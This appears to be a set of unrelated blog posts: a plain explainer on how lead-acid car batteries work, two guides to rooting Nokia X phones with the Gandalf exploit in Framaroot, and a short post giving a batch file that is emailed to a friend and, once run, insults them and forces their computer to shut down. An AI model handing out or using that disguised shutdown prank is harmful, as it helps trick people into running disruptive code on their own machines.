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March 25, 2020

A battery is “a device that translates chemical energy into electricity.” Batteries are composed of cells. These cells are what contain the actual energy. They store chemical energy and transform it into electrical energy on command. That’s what powers your devices, from your TV remote to your electric toothbrush.

How do car batteries work?

Most car batteries rely on a lead-acid chemical reaction to get things moving and grooving. These batteries fall into the “SLI” category. SLI stands for “starting, lighting, and ignition.” This type of battery provides short bursts of energy in order to power your lights, accessories, and engine. Once the battery jolts the engine to life, power for the car is supplied by the alternator. Most vehicles come with a generic SLI battery from the factory.

How Car Batteries Work

A typical SLI battery has six cells. Each cell has two plates, or grids: one is made of lead, the other of lead dioxide. Each cell is able to produce about 2-volts of energy. In most car batteries you have six cells, and therefore a 12-volt battery.
The plates are submerged in sulphuric acid that triggers a reaction between the two plates. In scientific terms, the acid acts as a catalyst.
This acid will trigger a reaction on the lead dioxide plate, causing the plate to produce two things: ions and lead sulphate.
The ions produced by the lead dioxide plate react to the adjacent plate to produce hydrogen and lead sulphate.
The result is a chemical reaction that produces electrons. The electrons race around the plates and generate electricity. The electricity flows out of the battery terminals to start your engine, turn on your headlights, and play the radio.
This chemical reaction is entirely reversible, which is why you can jumpstart your battery and continue to charge it throughout the duration of its life. By applying current to the battery at just the right voltage, lead and lead dioxide will form on the plates and you can reuse your battery, over and over again!
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July 17, 2015

This is the way to Shut-down your Friends Computer just By Sending a File To Them through e-mail or any other communication tool,Here are the Steps

  • Create a new file on Notepad
  • Paste the below code on the file
  • And Save it as "Anything.BAT" in All Files . 


        @echo off
        msg * I don't like you
        shutdown -c "Error! You are too stupid!" -s
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September 10, 2014

  • To enable Google Services, Maps and the Play Store.XDA developers have developed MOD and rooted Nokia X, X+ and XL As at the launch Nokia had stated that to get apps for this Nokia X series you won’t be able to access Play Store or any of the services of Google through this device, which now has become possible.

  • Now the time is to root this Awesome device. you can get the idea below how to root Nokia X, X+ and XL just follow this simple and easy steps.

Requirements for Rooting


  • This process is only for Nokia X smartphones: X, X+ or XL variants.
  • Create a complete backup of all data and personal files stored on the Nokia X smartphone. Don not use any other backup software and automatic on a PC.
  • Before performing any installation, make sure that your device’s battery level is more than 70%.
  • Enable USB debugging. Go to Settings > Applications > Development > USB debugging.
  • Download and install proper USB driver or Nokia PC Suite to your PC.
  • Click here to download the Gandalf Exploit with Framaroot app.
  • Download a Root explorer app on your device.
  • Download the Google Apps for Nokia X handsets.
Warning: We are not responsible for any errors or damages which may occur with your smartphones. Follow the steps carefully to avoid issues. Do everything at your own risk.

Steps to root Nokia X, X+ and XL


  1. Extract the Google Apps compressed file which you have just downloaded to get the APK installer tool.
  2. Connect the Nokia X device to a computer using an original data cable.
  3. Copy and paste all the APK files from Google Apps package to the Nokia X root storage.
  4. Head over to the Nokia X smartphone, use the file explorer tool and then go to the location where you have placed all the APK files.
  5. Now click the rooting APK file to root your Nokia X device and follow the prompted on-screen instructions.
  6. Now Copy the Google Apps APK files from the downloaded to “/system/app” using the file explorer app and change permissions for the files in the device.

  8. Reboot of your device
  9. Using the file explorer tool and go to the root storage folder and install all Google Apps package .apk files and launch the Google Play Store by giving the Google Account details.

Congrats!! You can now access both Google Play Store Nokia app store and to get all Android apps from your Nokia X devices.
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September 02, 2014

Image credit Mashable


Nokia had announced their latest Android device Nokia X at the MWC and from XDA-Dev team didn’t take much time to root it and better yet, install Google Apps on it. Nokia X runs a forked version of Android and doesn’t come bundled with the Google Apps which makes the device much more useful when compared to the stripped version of Android. So combining them with the already Nokia optimized version of Android is probably a good idea. The developer at XDA has successfully did this and has written a tutorial. So you can either go ahead and check out the tutorial from XDA-Dev site or read it from here.
  • First of all you will need to root the device, For this you can use the Gandalf Exploit included in Framaroot app. You can download it from the source thread or from the mirror here. Download and install to root your Nokia X device.
  • Once rooted download any root file exploer app. You can check out our best root applications for your android device to get an idea about what would be good for your use.
  • Download the file from the link given below. Then extract and copy all apks from the downloaded file to /system/app.
  • Now change permission for these extracted files like below.
Set permissions
  • Once you have done that for all the files, reboot your phone.
  • Now download the file from the link given below and extract all the files from it.
  • Now you can install all the apps from the extracted files as you wish. All the Google Apps are included in the above package so choose wisely and install only the apps you want on your phone. You can even install Google Now Launcher, but be sure to open it once and set it as the default app for launcher. watch this video
credit - XDA
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